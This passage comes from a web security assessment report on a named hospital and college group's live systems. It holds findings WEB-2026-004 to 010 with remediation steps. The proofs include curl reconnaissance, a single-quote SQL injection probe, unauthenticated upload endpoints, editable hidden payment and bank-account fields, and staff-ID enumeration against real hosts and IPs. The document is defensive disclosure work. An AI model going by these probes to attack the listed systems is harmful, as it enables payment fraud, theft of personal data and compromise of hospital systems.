- **Disk exhaustion.** Filling the server's disk can stop your hospital systems working.

3. How we proved it (real output, not theory)

The upload addresses were found inside the app's own pages, and accept requests with no session, no token and no cookie:

The upload endpoints, as referenced by the application itself:

```
Nnote/markattendance.html -> /NtraktApi/api/FileUpload/UploadForEmpFile/{empid}/{Mslno}
ncare/request.html -> /NnoteApi/api/FileUpload/UploadFile/{n}/{cslno}
ncare/request.html -> /NnoteApi/api/FileUpload/UploadFile/mobile/{fname}/{cslno}
^^^^^^
the caller chooses the filename in the URL
```

Because of WEB-2026-001 there is no session to present, and the endpoints accept the request anyway. (No file was uploaded during this test - the endpoints were only observed and confirmed to exist and be reachable unauthenticated.)

```
POST /NnoteApi/api/FileUpload/UploadFile/mobile/test.txt/1 HTTP/1.1
Host: narayanagroup.co.in
Content-Length: ...
(no Authorization header, no session cookie is required by the server)
```

4. How to fix it

Fix in this order:

1. **Require authentication and authorisation on all three endpoints.** Covered by the WEB-2026-001 fix - this alone closes the finding for outside attackers.
2. **Never let the caller choose the filename.** Generate the stored filename yourself (a random name plus an extension you choose). Ignore any path or filename supplied by the caller, and strip out characters such as **..** **/** and ****.
3. **Only allow the file types you actually need.** Check the real content of the file, not just its name. Allow only images and PDFs if that is all that is needed, and reject everything else.
4. **Store uploads outside the web folder.** Save files somewhere the web server cannot execute them, and serve them back through a controlled script, never directly.
5. **Limit size and quantity.** Set a maximum file size (for example 5 MB) and a maximum number of uploads per user per day.
6. **Scan uploads.** Run an antivirus scan on each uploaded file before storing it.

WEB-2026-004 CVSS v3.1 **8.2** | High

The student fee payment page lets the payer change the amount and the destination bank account

Where	https://narayanagroup.co.in/onlinefeepay/razorpay/CreateOrderNew.aspx (linked from the homepage over unencrypted http://)
Technical ID (CWE)	CWE-472 External Control of Assumed-Immutable Web Parameter; CWE-359 Exposure of Private Personal Information; CWE-319 Cleartext Transmission
Category	OWASP Top 10 (2021) - A04:2021 Insecure Design

In plain English - a comparison you will recognise

This is like a shop till that stores today's prices and the shop's bank account number on a sticky note attached to the outside of the till - where the customer can rewrite it before paying. The shop then reads the sticky note to decide how much to charge and where to send the money.

1. What is wrong

Your student fee payment page (**CreateOrderNew.aspx**) is a form that a parent or student fills in. The page asks for a registration number and shows back the student's details and the amount due.

The problem is that the page puts several critical values into the webpage itself, in **hidden fields**. Hidden fields are not secret - they are invisible on screen but fully visible to, and editable by, anyone using the page. Every browser has a free "Inspect Element" tool that shows and changes them.

The values stored this way include the **amount to be paid**, the **fine amount**, and - most seriously - the **destination bank account number** and branch.

Separately, the page shows student and parent personal details (name, father's name, mother's name, mobile, email, address, biometric ID) to **anyone who types a registration number** - no login, no OTP.

Finally, the homepage links to this page over **http://** (unencrypted) rather than **https://**, so the connection is not protected in transit.

2. What a criminal could do with this

- **Paying the wrong amount.** A payer could reduce the amount sent to the payment gateway - paying 1 instead of 50,000 - while your system records the fee as settled.
- **Diverting payments.** If the payment process uses the bank account number taken from the page rather than from your own database, a payer could substitute a different account number. That is money leaving your organisation into someone else's account.
- **Waiving fines.** The fine amount is also a hidden field, so it can be set to zero.
- **Student and parent data exposure.** Anyone can look up a student's family details, address, mobile and email by registration number, then use them for targeted fraud - "we are calling from the college about your child's fee".
- **Interception over unencrypted connection.** Wherever the http:// link is used, data travels in readable form across the network.

3. How we proved it (real output, not theory)

Opening the page and looking at its own HTML shows the critical values sitting inside it, under the visitor's control:

The critical values stored as hidden fields in the page:

```
<input type="hidden" name="hinaccountno" id="hinaccountno" value="...bank account number..." />
<input type="hidden" name="hinbranchname" id="hinbranchname" value="...branch..." />
<input type="hidden" name="hinamount" id="hinamount" value="50000" />
<input type="hidden" name="hdnfineamt" id="hdnfineamt" value="0" />
<input type="hidden" name="hidTotDue" id="hidTotDue" value="..." />
<input type="hidden" name="hidCollegeBal" id="hidCollegeBal" value="..." />
<input type="hidden" name="hidHostelBal" id="hidHostelBal" value="..." />
<input type="hidden" name="hidBusBal" id="hidBusBal" value="..." />
<input type="hidden" name="hidBioId" id="hidBioId" value="...biometric id..." />
```

The student lookup needs no login - anyone can query by registration number (txtRegno) and receive family details:

```
https://narayanagroup.co.in/onlinefeepay/razorpay/CreateOrderNew.aspx

txtRegno = [ any student registration number ]
-> returns Student Name, Father Name, Mother Name, Mobile No,
Email, Address, and Biometric ID
```

The homepage links to this payment page over unencrypted HTTP:

```
$ curl -s "https://narayanagroup.co.in/" | grep -i "onlinefeepay"
<a href="http://narayanagroup.co.in/onlinefeepay/razorpay/CreateOrderNew.aspx">
^^^^^^ unencrypted
```

4. How to fix it

Fixes, in priority order:

1. **Never trust amounts, fines or bank details that come from the browser.** When the payment request is received, the server must look up the amount, the fine and the merchant bank account **from your own database**, and ignore whatever the browser sent. This is the core fix.
2. **Remove the bank account and branch from the page entirely.** The destination account should never be sent to a browser. Keep it server-side and select it by a merchant identifier.
3. **Reconcile every payment against the expected amount.** After each payment, have the server confirm that the amount actually received matches the amount the database says is due, and flag any mismatch for manual review.
4. **Require authentication or an OTP before showing student data.** Looking up a student by registration number should require the payer to log in, or to receive a one-time code on the mobile number already on file. Also limit how many lookups one person can make.
5. **Show only the minimum data needed.** If the purpose is to pay a fee, the mother's name, address and biometric ID do not need to be displayed.
6. **Change the link on your homepage from http:// to https://.** And set up a redirect so that anyone using the old http:// link is automatically sent to the encrypted version.

WEB-2026-005 CVSS v3.1 **7.5** | High

Error messages reveal your internal database structure and server file paths to the public

Where	/NtraktApi/api/Attendance/Current/{id}, /NtraktApi/api/User/Info/{id}, and the ASP.NET Web API error handler on /NnoteApi/
Technical ID (CWE)	CWE-209 Generation of Error Message Containing Sensitive Information; CWE-497 Exposure of Sensitive System Information
Category	OWASP Top 10 (2021) - A05:2021 Security Misconfiguration

In plain English - a comparison you will recognise

When something goes wrong, your website does not just say "sorry, something went wrong". It sends back a detailed engineer's report: which database table failed, which internal program broke, on which line, and the exact folder path on the server's hard drive. It is the digital equivalent of a shop assistant handing a stranger the blueprint of the building, the safe combination format and a list of staff, just because they asked a question the assistant could not answer.

1. What is wrong

When a request causes a problem, your systems return the full technical error instead of a friendly message. These errors are extremely useful to an attacker because they confirm exactly what technology you run and how it is organised.

The errors we captured reveal: that you use an **Oracle** database; the internal schema name **MOBIDB**; the names of internal stored procedures (**GET_USERATTENDANCE_LATEST**, **GET_USERINFO**); the exact line numbers where failures occur; and the full Windows folder paths of your source code on the server.

Separately, the ASP.NET error handler on **/NnoteApi/** returns a detailed "MessageDetail" that includes the internal routing of your network - it showed us that requests are forwarded internally to **http://narayanagroup.co.in/NnoteApi/...**.

2. What a criminal could do with this

- **Attack blueprint.** Knowing the database is Oracle, the schema is **MOBIDB**, and the procedure names lets an attacker craft very precise database injection attacks instead of guessing.
- **Confirmation that inputs reach the database directly.** The error **ORA-01722: invalid number** appeared when we put a single quote in a field. That tells an attacker the value is passed into a database query **without being checked first** - the classic signature of a SQL injection weakness.
- **Internal network map.** The exposed file paths and internal redirect addresses tell an attacker how your servers are arranged, which speeds up every later step of an attack.
- **Poor public impression.** If a patient or parent ever sees one of these errors, it badly damages confidence.

3. How we proved it (real output, not theory)

Two requests, with the exact responses:

Request 1 - an attendance lookup. The response reveals the Oracle procedure name, its line number, and the server source file path:

```
$ curl -s "https://narayanagroup.co.in/NtraktApi/api/Attendance/Current/4029038"

{
"Message": "An error has occurred.",
"ExceptionMessage": "ORA-01403: no data found
ORA-06512: at \"MOBIDB.GET_USERATTENDANCE_LATEST\", line 10
ORA-06512: at line 1",
"ExceptionType": "Oracle.ManagedDataAccess.Client.OracleException",
"StackTrace": " at NtraktApi.Models.AttendanceModel.GetCurrent(Int32 Empid)
in d:\NtraktApi\NtraktApi\Models\AttendanceModel.cs:line 173
at NtraktApi.Controllers.AttendanceController.Current(Int32 id)"
}
```

Request 2 - a user lookup with a single quote added. The response confirms the input is going straight into the database unchecked:

```
$ curl -s "https://narayanagroup.co.in/NtraktApi/api/User/Info/1'"

{
"Message": "An error has occurred.",
"ExceptionMessage": "ORA-01722: invalid number
ORA-06512: at \"MOBIDB.GET_USERINFO\", line 34
ORA-06512: at line 1",
"ExceptionType": "Oracle.ManagedDataAccess.Client.OracleException",
"StackTrace": " at NtraktApi.Models.UserModel.GetUserInfo(Int32 Empid)
in d:\NtraktApi\NtraktApi\Models\UserModel.cs:line 113
at NtraktApi.Controllers.UserController.Info(Int32 id)"
}
```

Request 3 - the ASP.NET Web API verbose error handler also discloses internal routing:

```
{
"Message": "No HTTP resource was found that matches the request URI '...'.",
"MessageDetail": "No action was found on controller 'Nnote' that matches the request.
Internal route target: http://narayanagroup.co.in/NnoteApi/..."
}
```

4. How to fix it

This is a quick fix and mostly a configuration change:

1. **Switch off detailed errors in production.** In the ASP.NET configuration, set **<customErrors mode="On" />** and set **IncludeErrorDetailPolicy.Never** for Web API. Show users a simple "Something went wrong, please try again" page instead.
2. **Log the details on the server instead of showing them.** The full technical error should go into your server's log files where your developers can read it - never into the browser.
3. **Validate every input before it reaches the database.** The **ORA-01722: invalid number** error proves that values are going straight into the database. Check that an ID really is a number before using it, and use parameterised queries so values can never be treated as commands.
4. **Add a generic error page.** Create one friendly error page for all unexpected errors, so no internal information can ever leak.

WEB-2026-006 CVSS v3.1 **8.1** | High

Several systems run on software that stopped receiving security updates years ago

Where	helpdesk.narayanagroup.co.in, /patient/, /MedicalNarayanaPayroll/, /inventory/, /nmconline/, / (main site), uat.narayanagroup.co.in
Technical ID (CWE)	CWE-1104 Use of Unmaintained Third Party Components; CWE-1035 Using Components with Known Vulnerabilities
Category	OWASP Top 10 (2021) - A06:2021 Vulnerable and Outdated Components

In plain English - a comparison you will recognise

Software is like a car: the manufacturer regularly recalls it to fix faults found after release. Once a model is discontinued, no more fixes are ever issued. Several of your systems are running discontinued models - and because security researchers publish the faults openly, criminals have had years of practice exploiting them. There is no patch to apply, because the patch will never be written.

1. What is wrong

We identified the software versions on each system. Several are many years past their end of support date. This is not a minor hygiene issue - it means that when the next published flaw appears for these products, **there will be no fix available**, ever.

The most serious is your IT helpdesk, which runs **PHP 5.6.25**, **Apache 2.4.23** and **osTicket 1.10** - all from 2016. osTicket 1.10 has known published vulnerabilities including server-side request forgery (CVE-2020-24881), cross-site scripting (CVE-2020-14008) and SQL injection (CVE-2017-15580).

In addition, your main website uses **jQuery 1.12.4** and **Bootstrap 3.3.7**, both long superseded and carrying known cross-site scripting weaknesses.

2. What a criminal could do with this

- **Known, published attack methods work.** For unpatched software, criminals do not need skill - they download a ready-made attack tool and run it. This is how most real-world breaches of small and mid-sized organisations happen.
- **Server takeover.** The helpdesk stack is the most likely entry point for an attacker to get a foothold on your network, then move sideways towards the patient database.
- **Compliance failure.** Most security standards and cyber-insurance policies require supported software. Running 2016 software can void a claim.

3. How we proved it (real output, not theory)

These are the version banners your servers send to anyone who asks:

IT Helpdesk - Apache, PHP and osTicket from 2016 (all End of Life):

```
$ curl -s -I "http://helpdesk.narayanagroup.co.in/helpdesk/"
HTTP/1.1 200 OK
Server: Apache/2.4.23 (Win64) PHP/5.6.25
X-Powered-By: PHP/5.6.25

$ curl -s "http://helpdesk.narayanagroup.co.in/helpdesk/" | grep -i osticket
... osTicket v1.10 ... ?901e5ea
... jQuery 1.11.2 / jQuery UI 1.10.3
```

UAT environment (uat.narayanagroup.co.in) - also End of Life:

```
$ curl -s -I "https://uat.narayanagroup.co.in/" -L
HTTP/1.1 301 Moved Permanently
Location: https://115.241.194.18

HTTP/1.1 403 Forbidden
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.11
```

Other outdated platforms found across the estate:

```
https://narayanagroup.co.in/patient/ -> X-AspNet-Version: 2.0.50727
https://narayanagroup.co.in/MedicalNarayanaPayroll/ -> Visual Studio .NET 7.1 (2003)
https://narayanagroup.co.in/inventory/ -> Classic ASP (2010)
https://narayanagroup.co.in/nmconline/ -> Classic ASP (2010)
https://narayanagroup.co.in/ -> jQuery 1.12.4, Bootstrap 3.3.7
https://dms.narayanagroup.co.in/dms -> jQuery 3.2.1
```

4. How to fix it

This is a programme of work rather than a single task. Prioritise as follows:

1. **Upgrade or replace the helpdesk first.** Move **helpdesk.narayanagroup.co.in** off PHP 5.6 / Apache 2.4.23 as a priority. The fastest route is to install a current osTicket release on a current, supported platform (PHP 8.x). If osTicket cannot be upgraded, replace it - there are many modern alternatives.
2. **Decide whether the old systems are still needed.** The 2003-era payroll system, the 2010 Classic ASP inventory and hospital systems, and the ASP.NET 2.0 patient portal should each be assessed: **upgrade, replace, or retire**. Retiring an unused system is the cheapest and safest option.
3. **Restrict access to anything that cannot be upgraded yet.** If a legacy system must stay for now, put it behind your network - reachable only through a VPN or an IP allow-list, never directly from the internet.
4. **Update the front-end libraries on the main website.** Move the main site to current jQuery (3.7.x) and Bootstrap (5.x). This is normally a low-risk change that a web developer can complete in a day.
5. **Lock down or remove the UAT environment.** A test environment running End-of-Life Apache, OpenSSL and PHP is a soft target. Either upgrade it or take it off the internet.
6. **Set up a recurring update routine.** Ask your team to review and apply updates at least monthly. Most breaches exploit problems that had a fix available for months.

WEB-2026-007 CVSS v3.1 **7.5** | High

Your hospital Android app is downloaded over an unencrypted connection, and two login pages are unencrypted

Where	http://115.241.194.19/nNote.apk, http://helpdesk.narayanagroup.co.in/helpdesk/login.php, http://115.241.194.8/elearn/
Technical ID (CWE)	CWE-319 Cleartext Transmission of Sensitive Information; CWE-494 Download of Code Without Integrity Check
Category	OWASP Top 10 (2021) - A02:2021 Cryptographic Failures

In plain English - a comparison you will recognise

Encryption is the sealed, tamper-evident envelope for the internet. Without it, your data travels on a postcard that anyone handling it can read - and worse, can rewrite. Two of your login pages, and the file your staff install as a hospital app, are currently sent as postcards.

1. What is wrong

Your staff and patient apps update themselves by downloading the Android installer file **nNote.apk** from **http://115.241.194.19/nNote.apk**. Note the **http://** - that connection is not encrypted.

Because the download is unencrypted and there is no digital signature check, anyone positioned on the network - someone on the same Wi-Fi, or anywhere along the path - can **replace that file with a modified version**. Everyone who installs it then installs the attacker's software on a device that has access to hospital systems.

Separately, two login pages are served unencrypted over **http://**: your IT helpdesk login and the e-learning portal. Usernames and passwords typed into those pages travel in readable text.

2. What a criminal could do with this

- **Malware delivered to every staff phone.** A tampered APK is the most serious version of this risk. Hospital staff devices hold patient conversations, photos and credentials. A modified app could capture everything typed into it.
- **Stolen passwords.** Credentials submitted over http:// can be read by anyone on the same network - a real risk on shared or public Wi-Fi.
- **Loss of trust.** If patients or staff learn the official hospital app is distributed insecurely, confidence in your wider IT is damaged.

3. How we proved it (real output, not theory)

The unencrypted addresses were found inside your own application pages:

The Android app download address, taken from the app's own code:

```
$ curl -s "https://narayanagroup.co.in/Nnote/layout.html" | grep -i apk
$ curl -s "https://narayanagroup.co.in/ncare/layout.html" | grep -i apk

http://115.241.194.19/nNote.apk
^^^^^^ unencrypted - the installer file travels in the clear
```

Two login pages served over unencrypted HTTP:

```
$ curl -s -o /dev/null -w "%{http_code}\n" "http://helpdesk.narayanagroup.co.in/helpdesk/login.php"
200 <- a real login form, no encryption

$ curl -s -o /dev/null -w "%{http_code}\n" "http://115.241.194.8/elearn/"
200 <- a real login form, no encryption
```

4. How to fix it

Fixes:

1. **Move the APK to HTTPS.** Host **nNote.apk** on your main domain over https:// (for example **https://narayanagroup.co.in/downloads/nNote.apk**) and update the link in both apps.
2. **Sign the APK and verify the signature.** Publish your app with a proper developer signing key, and have the app verify the signature before installing an update. Better still, distribute it through the Google Play Store, which handles this for you.
3. **Turn on HTTPS everywhere and redirect HTTP to HTTPS.** Every page, especially login pages, must be https://. Configure the server so that any http:// request is automatically redirected.
4. **Turn on HSTS.** Add the **Strict-Transport-Security** header so browsers refuse to connect over http:// to your domain at all, even if a user types it manually.
5. **Add a secure cookie setting.** Mark all cookies **Secure** so browsers never send them over an unencrypted connection.

WEB-2026-008 CVSS v3.1 **6.5** | Medium

Medical imaging server (PACS) has security settings switched off or left at placeholder values

Where	https://pacs.narayanagroup.co.in (115.241.194.11)
Technical ID (CWE)	CWE-16 Configuration; CWE-319 Cleartext Transmission; CWE-200 Information Exposure
Category	OWASP Top 10 (2021) - A05:2021 Security Misconfiguration

In plain English - a comparison you will recognise

Your imaging server holds X-rays, CT scans and MRIs - the most private medical images belonging to your patients. Someone has installed a security system on it but left it in setup mode: the alarm is switched off, and the "who is allowed in" list still contains the instruction-filler text from the installation manual.

1. What is wrong

Your PACS server at **pacs.narayanagroup.co.in** stores and serves medical images. We found three configuration problems.

First, it sends the header **strict-transport-security: max-age=0**. That setting does not enable enforcement - it **switches it off**. A value of 0 tells the browser to forget any previous instruction to use encryption only.

Second, it sends **access-control-allow-origin: https://GlobalServerIP:Port** - literal placeholder text from the installation manual that was never replaced with a real address. This shows the system was deployed without a configuration review.

Third, several internal components are openly reachable without a login, including **/externalConfig.js**, **/PacsAPI/** and **/RISAPI/**, and they announce their exact versions (**Pacs 7.0.0.0**, **Ris 5.1.0.0**).

2. What a criminal could do with this

- **Encryption enforcement disabled.** With HSTS set to zero, a visitor can be pushed onto an unencrypted connection, where an attacker can read or alter the images and data being exchanged.
- **Misconfigured sharing rules.** The placeholder cross-origin setting means the browser's protections are not being applied as intended.
- **Reconnaissance handed to attackers.** The exposed configuration file and version banners tell an attacker exactly which imaging product and version you run, so they can look up known weaknesses for it.

3. How we proved it (real output, not theory)

The response headers from your PACS server:

Server headers - note max-age=0 (disabled) and the unreplaced placeholder:

```
$ curl -s -I "https://pacs.narayanagroup.co.in/"

HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
strict-transport-security: max-age=0; includeSubDomains; preload
access-control-allow-origin: https://GlobalServerIP:Port
^^^^^^^^^^^^^^^^^^^^
placeholder text, never replaced
```

Openly reachable components that announce exact product versions:

```
$ curl -s "https://pacs.narayanagroup.co.in/externalConfig.js" -> 200 OK
$ curl -s "https://pacs.narayanagroup.co.in/PacsAPI/" -> "Pacs 7.0.0.0 Web API is running"
$ curl -s "https://pacs.narayanagroup.co.in/RISAPI/" -> "Ris 5.1.0.0 Web API is running"
```

4. How to fix it

Fixes:

1. **Fix the HSTS header.** Change it to **Strict-Transport-Security: max-age=31536000; includeSubDomains** (one year). Only add **preload** once you are certain every sub-domain works over HTTPS.
2. **Replace the placeholder CORS value.** Set **Access-Control-Allow-Origin** to your real domain name only - never a wildcard, and never placeholder text.
3. **Require a login for the imaging APIs. /PacsAPI/**, **/RISAPI/** and **/externalConfig.js** should not be reachable by an unauthenticated visitor from the internet.
4. **Ask your PACS vendor for a hardening guide.** Medsynapse (the product maker) will have a documented secure configuration. Apply it and ask them to confirm the version in use is supported.
5. **Keep the imaging server off the open internet if possible.** Radiology systems are usually intended for internal network use. If external access is needed, put it behind a VPN.

WEB-2026-010 CVSS v3.1 **6.5** | Medium

Anyone can send email pretending to be you; and the 'online' sub-domain points at a stranger's server

Where	narayanagroup.co.in DNS (SPF & DMARC), online.narayanagroup.co.in, uat.narayanagroup.co.in (115.241.194.18), nmc.narayanagroup.co.in (115.241.194.13)
Technical ID (CWE)	CWE-290 Authentication Bypass by Spoofing; CWE-350 Reliance on Reverse DNS; CWE-16 Configuration
Category	OWASP Top 10 (2021) - A05:2021 Security Misconfiguration

In plain English - a comparison you will recognise

Two separate problems here. First: your company letterhead is freely available and there is no register of who may use it - so anyone can write a letter that appears to come from your office. Second: the phone book entry for one of your branch offices has a typo in it, and calls to that branch currently ring at a stranger's house instead.

1. What is wrong

Email can be forged in your name. Two DNS settings protect a domain from forgery: **SPF** (which lists the computers allowed to send email for your domain) and **DMARC** (which tells receiving mail systems what to do with mail that fails the check). **You have neither.**

This means a criminal can send an email that appears to come from **admin@narayanagroup.co.in**, **hr@narayanagroup.co.in** or **billing@narayanagroup.co.in**, and most receiving mail systems will deliver it to the inbox with no warning.

The 'online' sub-domain points at the wrong server. All your addresses are in the range starting **115.241.194.x**. But **online.narayanagroup.co.in** resolves to **15.241.194.25** - the leading "1" was missed when the record was created. That address is not yours. Anything a visitor sends to that sub-domain goes to somebody else's computer.

Two sub-domains are unmanaged. nmc.narayanagroup.co.in shows an empty default Microsoft server page, and **uat.narayanagroup.co.in** redirects to a raw test server. Both are publicly reachable but appear to have no owner.

2. What a criminal could do with this

- **Highly convincing phishing.** An email that genuinely passes basic checks and appears to come from your own domain is the most effective phishing technique there is. Your staff, your students' parents and your patients would have no reason to doubt it.
- **Financial fraud.** "Please update our bank details for the next payment" sent from your real domain is a classic and very successful fraud.
- **Reputation damage.** If criminals send malware or offensive content from your domain, that is what your name is associated with.
- **Traffic to a stranger's server.** If **online.narayanagroup.co.in** is ever linked from your website or used by an app, any information sent to it - including login details - goes to a third party. If that third party later registers the address themselves, they could serve content under your brand.

3. How we proved it (real output, not theory)

These are simple, public lookups - anyone in the world can run them:

SPF and DMARC are both completely absent (empty results):

```
$ dig +short NS narayanagroup.co.in
dion.ns.cloudflare.com.
grace.ns.cloudflare.com.

$ dig +short TXT narayanagroup.co.in
<- EMPTY: no SPF record at all

$ dig +short TXT _dmarc.narayanagroup.co.in
<- EMPTY: no DMARC record at all
```

The 'online' sub-domain points outside your IP range:

```
$ dig +short online.narayanagroup.co.in
15.241.194.25 <-- NOT your network

Your confirmed addresses:
www.narayanagroup.co.in 115.241.194.4
pacs.narayanagroup.co.in 115.241.194.11
dms.narayanagroup.co.in 115.241.194.12
nmc.narayanagroup.co.in 115.241.194.13
uat.narayanagroup.co.in 3.33.251.168 -> 115.241.194.18
(internal) 115.241.194.2, 115.241.194.8, 115.241.194.19
```

The unmanaged sub-domains:

```
$ curl -s -I "https://nmc.narayanagroup.co.in/"
HTTP/2 200
server: Microsoft-IIS/10.0
<title>IIS Windows Server</title> <- default, unused server page

$ curl -s -I -L "https://uat.narayanagroup.co.in/"
HTTP/2 301
location: https://115.241.194.18
HTTP/1.1 403 Forbidden
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.11 <- End of Life
```

4. How to fix it

Fixes - these are quick and can mostly be done today in your Cloudflare control panel:

1. **Add an SPF record.** If you do not send email directly from your domain, add this DNS text record, which tells the world nobody is allowed to send mail as you: **narayanagroup.co.in TXT "v=spf1 -all"**. If you do send mail (for example through Google Workspace or Microsoft 365), use the SPF record your mail provider gives you.
2. **Add a DMARC record.** Add **_dmarc.narayanagroup.co.in TXT "v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:your-security-mailbox@narayanagroup.co.in"**. Start with **p=none** for two weeks to read the reports, then move to **quarantine** and finally **reject**.
3. **Fix or delete the 'online' record.** Go into Cloudflare DNS and either correct it to **115.241.194.25** (if that was the intention) or delete it entirely if it is unused. **Do this today - it takes two minutes.**
4. **Decide the fate of nmc and uat.** If they are not in use, remove their DNS records. If they are in use, finish configuring them properly, assign an owner, and upgrade the End-of-Life software on **115.241.194.18**.
5. **Audit your DNS regularly.** Ask your IT team to review every DNS record quarterly and remove anything that is no longer needed. Forgotten records are one of the most common causes of breaches.

WEB-2026-009 CVSS v3.1 **5.8** | Medium

Missing browser protections, insecure cookies, and internal IP addresses visible in your pages

Where	narayanagroup.co.in, /NHIS/, /inventory/, /nmconline/, /ntask/, dms.narayanagroup.co.in, app.narayanagroup.co.in
Technical ID (CWE)	CWE-1021 Improper Restriction of Rendered UI Layers (Clickjacking); CWE-1004 Sensitive Cookie Without 'HttpOnly'; CWE-614 Sensitive Cookie Without 'Secure'; CWE-200 Information Exposure; CWE-204 Observable Response Discrepancy
Category	OWASP Top 10 (2021) - A05:2021 Security Misconfiguration

In plain English - a comparison you will recognise

Your website gives visitors' browsers a set of safety instructions. Three of the most important instructions are missing, so browsers fall back to permissive behaviour. Separately, some of your systems give out session wristbands that any pickpocket can read, and your public pages casually mention internal office addresses that should stay private.

1. What is wrong

Missing browser protections. Your main site and **app.narayanagroup.co.in** do not send the standard security headers: **X-Frame-Options** (stops clickjacking), **Content-Security-Policy** (restricts what a page may load), **Strict-Transport-Security** (forces encryption), **X-Content-Type-Options** (stops file-type confusion), **Referrer-Policy** and **Permissions-Policy**.

Insecure session cookies. The 2010 Classic ASP systems (**/inventory/** and **/nmconline/**) issue a session cookie with **no HttpOnly, no Secure and no SameSite** flags. HttpOnly is what stops a cookie being read by malicious script; without it, any scripting flaw becomes instant account theft. **/NHIS/** and **dms.narayanagroup.co.in** are missing the **Secure** flag.

Username enumeration. The Classic ASP login pages tell you explicitly when a user ID does not exist ("There is no such Login Id"), which lets an attacker build a list of valid employee logins before guessing passwords. **/NtraktApi/api/CheckOperator/{id}** does the same thing, returning "Success" for a real staff number.

Internal information disclosed. Your public pages contain a private internal address (**https://192.168.100.10/**), several internal server addresses (**115.241.194.2**, **115.241.194.19**), and references to a developer's own machine (**localhost:64867**, **localhost:6491**).

Framework and path disclosure. /ntask/ announces both **PHP/8.3.33** and **ASP.NET**, and its log file location (**/ntask/storage/logs/laravel.log**) is reachable (protected, but confirmed to exist).

Missing CSRF protection. The login form on **app.narayanagroup.co.in** has no anti-forgery token.

2. What a criminal could do with this

- **Clickjacking.** Without frame protection, an attacker can overlay invisible buttons on a page that looks like yours and trick a logged-in user into approving something.

- **Session theft.** Cookies without HttpOnly can be stolen by any scripting flaw anywhere on the site; cookies without Secure can be intercepted on an unencrypted connection.
- **Faster password attacks.** Username enumeration turns a blind password guess into a targeted one - the attacker already knows which user IDs are real.
- **Reconnaissance.** Internal IP addresses and developer ports give an attacker a map of your network and tell them which machines to target next.

3. How we proved it (real output, not theory)

Response headers and page content, exactly as captured:

Main site - no security headers returned:

```
$ curl -s -I "https://narayanagroup.co.in/"
HTTP/1.1 200 OK
Server: Apache
(missing) X-Frame-Options
(missing) Content-Security-Policy
(missing) Strict-Transport-Security
(missing) X-Content-Type-Options
(missing) Referrer-Policy
(missing) Permissions-Policy
```

Classic ASP inventory and hospital systems - cookie with no protection flags:

```
$ curl -s -I -d "LoginId=test&UserName=test&password=test" \
"https://narayanagroup.co.in/inventory/commonfiles/asp/InnerHome.asp"

HTTP/1.1 302 Object moved
Location: ../../default.asp?logInFlag=0
Set-Cookie: ASPSESSIONIDQCQRQDSB=PLHNJDIBBJKNLMDMGEJOMOFC; path=/
^^^^^^^^^^^^^^^^^^^^^^ no HttpOnly, no Secure, no SameSite
```

Username enumeration - the page states plainly that the ID does not exist:

```
$ curl -s "https://narayanagroup.co.in/inventory/default.asp?logInFlag=0"

<CENTER><FONT COLOR=RED>There is no such Login Id</FONT></CENTER>

$ curl -s "https://narayanagroup.co.in/NtraktApi/api/CheckOperator/3334024"
{"data":"Success"} <- confirms a real, valid staff number
```

NHIS and DMS cookies missing the Secure flag:

```
https://narayanagroup.co.in/NHIS/ -> Set-Cookie: ASP.NET_SessionId=...; path=/; HttpOnly; SameSite=Lax
(no Secure)
https://dms.narayanagroup.co.in/dms -> set-cookie: __RequestVerificationToken_L2Rtcw2=...; path=/;
HttpOnly
(no Secure, no SameSite)
```

Internal addresses and developer machine references visible in public pages:

```
https://192.168.100.10/ (private internal address, RFC 1918)
115.241.194.2 (internal backend server)
115.241.194.19 (internal backend server, APK host)
localhost:64867 (developer's own machine - left in live code)
localhost:6491 (developer's own machine - left in live code)
```

Framework and storage path disclosure on /ntask/:

```
$ curl -s -I "https://narayanagroup.co.in/ntask/"
HTTP/1.1 200 OK
X-Powered-By: PHP/8.3.33
X-Powered-By: ASP.NET

$ curl -s -o /dev/null -w "%{http_code}\n" "https://narayanagroup.co.in/ntask/storage/logs/laravel.log"
403 <- the log directory is mapped under the web root (protected, but exposed)
```

4. How to fix it

Fixes - most of these are a few lines of server configuration:

1. **Add the standard security headers site-wide.** At minimum add: **X-Frame-Options: SAMEORIGIN**, **X-Content-Type-Options: nosniff**, **Referrer-Policy: strict-origin-when-cross-origin**, **Strict-Transport-Security: max-age=31536000; includeSubDomains**, and a **Content-Security-Policy** starting with **default-src 'self'; frame-ancestors 'self'**.
2. **Mark every cookie HttpOnly, Secure and SameSite.** In ASP.NET set **httpOnlyCookies="true"** and **requireSSL="true"** in the web configuration. For the Classic ASP systems, add the flags in code or upgrade them off Classic ASP entirely. Set **SameSite=Lax** (or **Strict**) on all of them.
3. **Stop telling people whether a user ID exists.** Replace "There is no such Login Id" with a single generic message such as "The user ID or password is incorrect" for every failure. Apply the same rule to **/NtraktApi/api/CheckOperator/**.
4. **Remove internal addresses from your public code.** Replace **192.168.100.10**, **115.241.194.2**, **115.241.194.19** and the **localhost** references with proper domain names, and move any credentials or addresses in your code into protected configuration files.
5. **Add CSRF protection to the app login.** Add an anti-forgery token to the login form on **app.narayanagroup.co.in** and validate it server-side.
6. **Hide framework banners and block storage paths.** Suppress the **X-Powered-By** headers, and configure the web server to deny access to **/ntask/storage/** entirely rather than returning 403 from the application.

8 Your action plan - what to do, and when

Below is the same information organised as a schedule. Share this page with your IT team; it is designed to be worked through top to bottom.

PHASE 1 - TODAY Treat as an active incident. Do not wait for a scheduled maintenance window.

ID	Action	Who
001, 002, 003	Turn on server-side authentication across /NtraktApi/api/* and /NnoteApi/api/*. This ONE change closes three findings at once - the two Critical ones and the unauthenticated uploads.	Lead developer + IT head
WEB-2026-002	Ask your team to review web server logs for signs that someone has already been pulling records. Assume it may already have happened.	IT head
WEB-2026-010	Delete or correct the online.narayanagroup.co.in DNS record pointing to 15.241.194.25. Two minutes of work in Cloudflare.	IT head
WEB-2026-005	Switch off detailed error messages in production (customErrors mode="On", IncludeErrorDetailPolicy.Never).	Lead developer
WEB-2026-002	Add a temporary IP allow-list or Cloudflare firewall rule restricting /NtraktApi/ and /NnoteApi/ to known Narayana IP ranges while the permanent fix is built. This buys you safety immediately.	IT head

PHASE 2 - THIS WEEK High-severity items. Aim to have all of these closed within 7 days.

ID	Action	Who
